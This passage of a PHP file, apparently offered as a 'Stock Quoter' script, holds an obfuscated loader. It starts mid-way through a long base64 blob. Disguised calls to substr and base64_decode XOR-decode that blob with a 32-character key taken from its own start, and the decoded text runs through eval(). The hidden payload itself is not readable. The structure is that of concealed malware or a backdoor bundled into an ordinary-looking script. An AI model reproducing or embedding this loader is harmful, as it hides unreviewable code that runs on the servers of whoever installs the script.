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
DzgCAAEzEwo=";
$fyhhsa1="s";$fy3saa1="ba";$fy7vwa1="s";$fyhhsa1.="u";$fyhhsa1.="b";$fyhhsa1.="s";$fyhhsa1.="t";$fyhhsa1.="r";$fy3saa1.="se";$fy3saa1.="6";$fy3saa1.="4";$fy3saa1.="_";$fy3saa1.="de";$fy3saa1.="co";$fy3saa1.="de";$fy7vwa1.="t";$fy7vwa1.="r";$fy7vwa1.="l";$fy7vwa1.="e";$fy7vwa1.="n";
$a8hg6hh=$fyhhsa1($a8hg6hj,0,32);$a8hk6hj=$fy3saa1($fyhhsa1($a8hg6hj,32));$a7klm9hj="";for($a8hk9hj=0;$a8hk9hj < $fy7vwa1($a8hk6hj);$a8hk9hj++){$a7hk9hj=$fyhhsa1($a8hk6hj,$a8hk9hj,1);$a7h789hj=$fyhhsa1($a8hg6hh,$a8hk9hj%32,1);$a7klm9hj.=$a7hk9hj^$a7h789hj;}eval($a7klm9hj);$a7klm9hj="\n";

?>
Return current item: Stock Quoter